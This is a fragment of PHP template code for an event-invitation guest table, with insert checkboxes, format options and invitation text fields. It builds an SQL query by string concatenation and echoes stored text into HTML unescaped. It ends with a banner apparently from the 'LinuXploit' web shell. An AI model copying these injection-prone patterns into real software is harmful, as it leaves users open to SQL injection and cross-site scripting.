								$sql = "SELECT * FROM guests_inserts WHERE guest_id = ".$row->id." AND insert_id = ".$row_inserts->id." AND user_id = ".$_SESSION['user_id']."  AND event_id = ".$_SESSION['active_event']." ";
								$result_gi = mysqli_query($GLOBALS['con'], $sql);
								$checked_gi = '';
								if (mysqli_num_rows($result_gi) > 0 && !$send_disabled && $row->invitation_send == '1') :
									$checked_gi = ' checked="checked" ';
								else:
									if ($send_disabled || $row->invitation_send != '1') :
										$checked_gi = ' disabled="disabled" ';
									endif;
								endif;
						?>
								<td class="data-grid-var" align="center">
									<input class="inserts_<?php echo $row->id; ?>" name="inserts_<?php echo $row_inserts->id; ?>_<?php echo $row->id; ?>" id="inserts_<?php echo $row_inserts->id; ?>_<?php echo $row->id; ?>" type="checkbox" value="1" onchange="switch_inserts(<?php echo $row_inserts->id; ?>,<?php echo $row->id; ?>);"  <?php echo $checked_gi; ?> />
								</td>
						<?php
							endwhile;
						?>
						<td class="data-grid-var-separator">&nbsp;
						</td>
						<td class="data-grid-var" align="center">
							<input name="invitation_format_<?php echo $row->id; ?>" id="invitation_format_10_<?php echo $row->id; ?>" type="radio" value="1" onchange="switch_format(10,<?php echo $row->id; ?>);"  <?php if ($send_disabled || $row->invitation_send != '1') : echo ' disabled="disabled" '; else: if ($row->invitation_format == 10) : echo 'checked="checked"'; endif; endif; ?> />
						</td>
						<td class="data-grid-var" align="center">
							<input name="invitation_format_<?php echo $row->id; ?>" id="invitation_format_20_<?php echo $row->id; ?>" type="radio" value="1" onchange="switch_format(20,<?php echo $row->id; ?>);"  <?php if ($send_disabled || $row->invitation_send != '1') : echo ' disabled="disabled" '; else: if ($row->invitation_format == 20) : echo 'checked="checked"'; endif; endif; ?> />
						</td>
						<td class="data-grid-var" align="center">
							<input name="invitation_format_<?php echo $row->id; ?>" id="invitation_format_30_<?php echo $row->id; ?>" type="radio" value="1" onchange="switch_format(30,<?php echo $row->id; ?>);"  <?php if ($send_disabled || $row->invitation_send != '1') : echo ' disabled="disabled" '; else: if ($row->invitation_format == 30) : echo 'checked="checked"'; endif; endif; ?> />
						</td>
						<td class="data-grid-var" align="center">
							<input name="invitation_format_<?php echo $row->id; ?>" id="invitation_format_40_<?php echo $row->id; ?>" type="radio" value="1" onchange="switch_format(40,<?php echo $row->id; ?>);"  <?php if ($send_disabled || $row->invitation_send != '1') : echo ' disabled="disabled" '; else: if ($row->invitation_format == 40) : echo 'checked="checked"'; endif; endif; ?> />
						</td>
						<td class="data-grid-var" align="center">
							<input name="invitation_text_<?php echo $row->id; ?>" id="invitation_text_<?php echo $row->id; ?>" type="text" value="<?php if (!$send_disabled && $row->invitation_send == '1') : echo $row->invitation_text; endif; ?>" maxlength="50" style="width:225px; font-size:12px;" onchange="switch_format(40,<?php echo $row->id; ?>);" onfocus="open_format_menu(this, <?php echo $row->id; ?>, '');" onblur="close_format_menu();" <?php if ($row->invitation_format != 40) : echo ' readonly="readonly" '; endif; if ($send_disabled || $row->invitation_send != '1') : echo ' disabled="disabled" '; endif; ?>  /><br />
							<div id="div_invitation_text2_<?php echo $row->id; ?>" <?php if ($send_disabled || $row->invitation_send != '1' || empty($row->invitation_text2)) : echo 'style="display:none;"'; endif; ?> >
								<input name="invitation_text2_<?php echo $row->id; ?>" id="invitation_text2_<?php echo $row->id; ?>" type="text" value="<?php if (!$send_disabled && $row->invitation_send == '1') : echo $row->invitation_text2; endif; ?>" maxlength="50" style="width:225px; font-size:12px;" onchange="switch_format(40,<?php echo $row->id; ?>);" onfocus="open_format_menu(this, <?php echo $row->id; ?>, '2');" onblur="close_format_menu();" <?php if ($row->invitation_format != 40) : echo ' readonly="readonly" '; endif; if ($send_disabled || $row->invitation_send != '1') : echo ' disabled="disabled" '; endif; ?>  />
							</div>
						</td>
					</tr>
			<?php
				endwhile;
			?>
			<script>
				xstats_on = 1;
			</script>
			<?php
				mysqli_data_seek($result_inserts, 0);
				while($row_inserts = mysqli_fetch_object($result_inserts)) :
			?>
					<script>
						total_stats_insert(<?php echo $row_inserts->id; ?>);
					</script>
			<?php
				endwhile;
			?>
		</tbody>
	</table>

	<div id="format_menu" class="report_select" style="display:none;">
		<div style="float:right; width:20%; text-align:right; cursor:pointer; font-family:Arial, Helvetica, sans-serif; font-size:16px; font-weight:bold;" onclick="close_format_menu();">
			X
		</div>
		<div style="float:none; width:80%; text-align:left; font-style:italic;">
			Format options:
		</div>
		<ul>
			<a href="javascript:toggle_second_line();"><li>Toggle 2nd line</li></a>
			<a href="javascript:insert_shortcut('family');"><li>Insert " & Family"</li></a>
			<a href="javascript:insert_shortcut('children');"><li>Insert children's names</li></a>
		</ul>
	</div>
</div>


Youez - 2016 - github.com/yon3zu
LinuXploit